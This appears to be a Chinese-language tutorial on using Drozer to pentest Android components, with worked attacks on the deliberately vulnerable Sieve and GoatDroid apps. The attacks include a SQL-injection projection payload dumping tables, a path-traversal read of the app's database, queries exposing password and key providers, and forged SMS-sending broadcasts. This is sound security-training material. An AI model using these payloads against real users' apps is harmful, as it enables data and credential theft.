跳到主要内容

Drozer测试四大组件

Drozer

介绍

Drozer是一款开源的Android安全测试和攻击工具,由MWR InfoSecurity开发。它提供了一个命令行接口,允许用户在安全测试或攻击Android应用程序时进行自动化测试,发现潜在的漏洞和安全风险。Drozer是目前应用最为广泛的Android安全测试工具之一,其功能和易用性受到了广泛的认可和好评。

Drozer的主要功能包括:

  1. 应用程序渗透测试:Drozer允许用户测试Android应用程序的安全性,包括动态和静态分析,以及漏洞扫描等。
  2. 应用程序漏洞挖掘:Drozer提供了一个插件系统,允许用户编写自己的插件来挖掘Android应用程序中的漏洞。
  3. 代码审计:Drozer允许用户快速浏览应用程序的源代码,并快速查找敏感信息和漏洞。
  4. 安全审计:Drozer提供了一些常见的安全审计功能,例如渗透测试、代码审计和漏洞扫描等。

总的来说,Drozer是一款非常强大的Android安全测试工具,可以帮助安全测试人员发现Android应用程序中的漏洞和安全风险,并提供相应的解决方案。

GitHub: https://github.com/WithSecureLabs/drozer

安装

环境准备

  • python 2.7【必须,不然可能会有玄学BUG】

PC控制端安装

## 安装依赖
python2 -m pip install wheel
python2 -m pip install pyyaml
python2 -m pip install pyhamcrest
python2 -m pip install protobuf
python2 -m pip install pyopenssl
python2 -m pip install twisted
python2 -m pip install service_identity

## 下载whl到本地
wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whl
python2 -m pip install drozer-2.4.4-py2-none-any.whl

设备端agent安装

wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
adb install drozer-agent-2.3.4.apk

连接

启动drozer agent

## 端口转发
adb forward tcp:31415 tcp:31415
## 连接
drozer console connect

出现如下内容,就说明OK了

Selecting da226956879c9325 (Xiaomi MI 6 Plus 6.0.1)

.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.4.4)
dz>

输入run app.package.list列举出所有的软件,可以列举就更加说明安装成功了。

相关命令

help: 列出所有可用命令,可通过`help <module>`查看指定的帮助信息,如`help app.package.list`
list: 列出可用模块的列表,可选择按名称过滤(也可以使用ls),如 `list service`
run: 执行模块,使用方式 `run <module>`,如`run app.package.list`

模块介绍翻译:

模块说明
app.activity.forintent查找可以处理给定intent的activity
app.activity.info获取有关已导出activity的信息。
app.activity.start启动activity
app.broadcast.info获取有关broadcast receiver的信息
app.broadcast.send使用intent发送广播
app.broadcast.sniff注册可以嗅探特定intent的broadcast receiver
app.package.attacksurface获取软件包的攻击面
app.package.backup列出使用备份API的软件包(FLAG_ALLOW_BACKUP返回true)
app.package.debuggable查找可调试的软件包
app.package.info获取有关已安装软件包的信息
app.package.launchintent获取软件包的启动intent
app.package.list列出软件包
app.package.manifest获取软件包的AndroidManifest.xml
app.package.native查找应用程序中嵌入的本地库。
app.package.shareduid查找共享UID的软件包
app.provider.columns列出内容提供者中的列
app.provider.delete从内容提供者中删除
app.provider.download从支持文件的内容提供者下载文件
app.provider.finduri在软件包中查找引用的内容URI
app.provider.info获取有关导出内容提供程序的信息
app.provider.insert插入到内容提供程序
app.provider.query查询内容提供程序
app.provider.read从支持文件的内容提供程序中读取
app.provider.update更新内容提供者中的记录
app.service.info获取有关已导出服务的信息
app.service.send向服务发送消息,并显示回复
app.service.start启动服务
app.service.stop停止服务
auxiliary.webcontentresolver启动内容提供者的Web服务接口。
exploit.jdwp.check打开@jdwp-control,查看哪些应用连接
exploit.pilfer.general.apnprovider读取APN内容提供者
exploit.pilfer.general.settingsprovider读取设置内容提供者
information.datetime打印日期/时间
information.deviceinfo获取详细设备信息
information.permissions获取设备上所有软件包使用的所有权限列表
scanner.activity.browsable获取可以从Web浏览器调用的所有可浏览的 activity
scanner.misc.native查找包中包含的本地组件
scanner.misc.readablefiles在给定文件夹中查找可读取的全局文件
scanner.misc.secretcodes搜索可从拨号器中使用的秘密代码
scanner.misc.sflagbinaries在给定文件夹中查找suid / sgid二进制文件(默认为/system)。
scanner.misc.writablefiles在给定文件夹中查找可写的全局文件
scanner.provider.finduris搜索可以从我们的上下文查询的内容提供者。
scanner.provider.injection测试内容提供程序的SQL注入漏洞。
scanner.provider.sqltables查找可通过SQL注入漏洞访问的表。
scanner.provider.traversal测试内容提供程序是否存在基本目录遍历漏洞。
shell.exec执行单个Linux命令。
shell.send将ASH shell发送到远程侦听器。
shell.start进入交互式Linux shell。
tools.file.download下载文件。
tools.file.md5sum获取文件的md5校验和。
tools.file.size获取文件大小。
tools.file.upload上传文件。
tools.setup.busybox安装Busybox。
tools.setup.minimalsu准备在设备上安装'minimal-su'二进制文件。

四大组件

说明

组件名称描述用途
Activity代表应用程序中的单个屏幕或用户界面处理用户与应用程序的交互和响应用户的操作
Service代表应用程序中的后台任务在后台执行长时间运行的操作,例如音乐播放、下载和数据处理
BroadcastReceiver用于接收系统广播和应用程序内部广播响应系统和应用程序中的广播消息,例如电池电量、网络连接状态、应用程序安装等
ContentProvider用于应用程序之间共享数据允许应用程序访问其他应用程序存储在特定位置的数据,例如联系人、照片、音频文件等

测试

sieve.apk为例,查看攻击面

## 找到APP包名
dz> run app.package.list -f sie
com.mwr.example.sieve (Sieve)

## 找到模块
dz> ls attack
app.package.attacksurface Get attack surface of package

## 查看攻击面,可以通过 -h 参数查看帮助
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable

<packagename>是包名。可以看到有3个activity、0个广播接收者、2个内容提供者和2个服务可以被导出,并且开启了debug模式。

**可导出:**可以被其他应用程序或组件调用

  1. 一般有参数的情况下需要结合反编译去分析传入的参数,然后用参数--extra去构造发送。

  2. Intent是一种用于在不同组件之间传递数据和执行操作的机制。Intent除了可以携带数据外,还可以传递Bundle对象或者使用putExtra方法传递键值对来传递数据。所以我们在分析参数的时候,着重注意Bundle对象

    Bundle bundle = arg1.getExtras();
    sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
    // 参数 phoneNumber 和 message

Activity

风险点:

  1. 未授权访问(信息泄漏)
  2. 拒绝服务(发送空/畸形数据)
  3. activity劫持

获取可导出activity

## run app.activity.info -a <packagename>
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null

调用对应的activity,切换到对应界面,查看是否存在未授权,以及程序是否会崩溃(拒绝服务)

## run app.activity.start --component <packagename> <component>
## run app.activity.start --component <packagename> <component> --extra string value 12345
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

activity未授权

测试是否存在Activity劫持

## 环境准备
wget https://github.com/yanghaoi/android_app/raw/master/uihijackv2.0_sign.apk
## 安装点击劫持软件
adb install uihijackv2.0_sign.apk

在打开原activity的基础上,调用此组件,如果uihijackv2.0_sign界面位于被测软件上,则存在漏洞,否则不存在漏洞。

run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity

Service

风险点:

  1. 根据具体的功能点分析
  2. 拒绝服务

获取可导出服务

## run app.service.info -a <packagename>
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

启动服务

## run app.service.start --component <packagename> <component>
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.CryptoService

绑定到一个已导出的服务,并向其发送一条消息。如果服务发送了一个回复,则显示接收到的消息及其包含的任何数据【发送数据到服务,并dump数据】

## run app.service.send <packagename> <component> --msg 1 2 3 --extra float value 0.1324 --extra string test value
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234888 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 5
arg1: 41
arg2: 1
Extras
com.mwr.example.sieve.PIN (String) : 1234888


如果返回的是对象类数据,一定要加上参数--bundle-as-obj,不然drozer会直接退出。

--msg--extra参数来源:

常量值

参数分析

另一个服务也一样

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0 --extra string com.mwr.example.sieve.KEY 123 --extra string com.mwr.example.sieve.STRING 456 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
what: 9
arg1: 91
arg2: 0
Extras
com.mwr.example.sieve.RESULT (byte[]) : [55, 41, -24, -79, 3, 110, -82, -59, 93, -94, -83, -45, -8, 9, 97, -70, -79, 101, -80]
com.mwr.example.sieve.STRING (String) : 456
com.mwr.example.sieve.KEY (String) : 123

关闭服务

## run app.service.stop --component <packagename> <component>
dz> run app.service.stop --component com.mwr.example.sieve com.mwr.example.sieve.AuthService

ContentProvider

风险点:

  1. 信息泄漏

  2. 注入漏洞

Content Provider中的注入漏洞允许攻击者向Content Provider中注入恶意数据,从而可以获取敏感信息或者执行未经授权的操作。攻击者可以利用注入漏洞来执行SQL注入攻击,从而获取或修改Content Provider中的数据。如果Content Provider中存储了敏感数据,攻击者可能会利用注入漏洞来窃取该数据,导致严重的数据泄露问题。

  1. 目录遍历漏洞

使用ContentProvider.openFile()可以实现应用间共享数据,如果这个方法使用不当将会导致目录遍历漏洞。该漏洞允许攻击者访问Content Provider中未经授权的文件和目录。攻击者可以利用目录遍历漏洞来获取敏感信息,如密码、密钥、证书等。此外,攻击者还可以利用目录遍历漏洞来执行未经授权的操作,如删除或修改Content Provider中的文件,导致严重的安全问题。

获取提供者信息

## run app.provider.info -a <packagename>
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

查询是否存在信息泄漏

## run scanner.provider.finduris -a <packagename> 
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

查询数据

## run app.provider.query <uri> [option args]
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin |
| 1 | null |

查询是否存在注入

## run scanner.provider.injection -a <packagename>
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

利用注入

## 列出所有的表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE TYPE='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |

查询是否存在目录遍历

## run scanner.provider.traversal -a <packagename>
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider

Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

利用目录遍历读取文件

## run app.provider.read <uri>
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db

BroadcastReceiver

风险点:

  1. 消息伪造
  2. 拒绝服务

上面的APK不存在广播接收者,所以这里更换为另一个APK

获取可导出广播接收者

## run app.broadcast.info -a <packagename>
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats

发送广播

发送电量屏幕的广播

run app.broadcast.send --action android.intent.action.SCREEN_ON

部分系统预定义广播及正常触发时机

action触发时机
android.net.conn.CONNECTIVITY_CHANGE网络连接发生变化
android.intent.action.SCREEN_ON屏幕点亮
android.intent.action.SCREEN_OFF屏幕熄灭
android.intent.action.BATTERY_LOW电量低,会弹出电量低提示框
android.intent.action.BATTERY_OKAY电量恢复了
android.intent.action.BOOT_COMPLETED设备启动完毕
android.intent.action.DEVICE_STORAGE_LOW存储空间过低
android.intent.action.DEVICE_STORAGE_OK存储空间恢复
android.intent.action.PACKAGE_ADDED安装了新的应用
android.net.wifi.STATE_CHANGEWiFi 连接状态发生变化
android.net.wifi.WIFI_STATE_CHANGEDWiFi 状态变为启用/关闭/正在启动/正在关闭/未知
android.intent.action.BATTERY_CHANGED电池电量发生变化
android.intent.action.INPUT_METHOD_CHANGED系统输入法发生变化
android.intent.action.ACTION_POWER_CONNECTED外部电源连接
android.intent.action.ACTION_POWER_DISCONNECTED外部电源断开连接
android.intent.action.DREAMING_STARTED系统开始休眠
android.intent.action.DREAMING_STOPPED系统停止休眠
android.intent.action.WALLPAPER_CHANGED壁纸发生变化
android.intent.action.HEADSET_PLUG插入耳机
android.intent.action.MEDIA_UNMOUNTED卸载外部介质
android.intent.action.MEDIA_MOUNTED挂载外部介质
android.os.action.POWER_SAVE_MODE_CHANGED省电模式开启

发送给指定的broadcast receiver

## run app.broadcast.send --component <packagename> <component>
dz> run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 123 --extra string message 666

image-20230314125957931

extra参数来源:

image-20230314130311034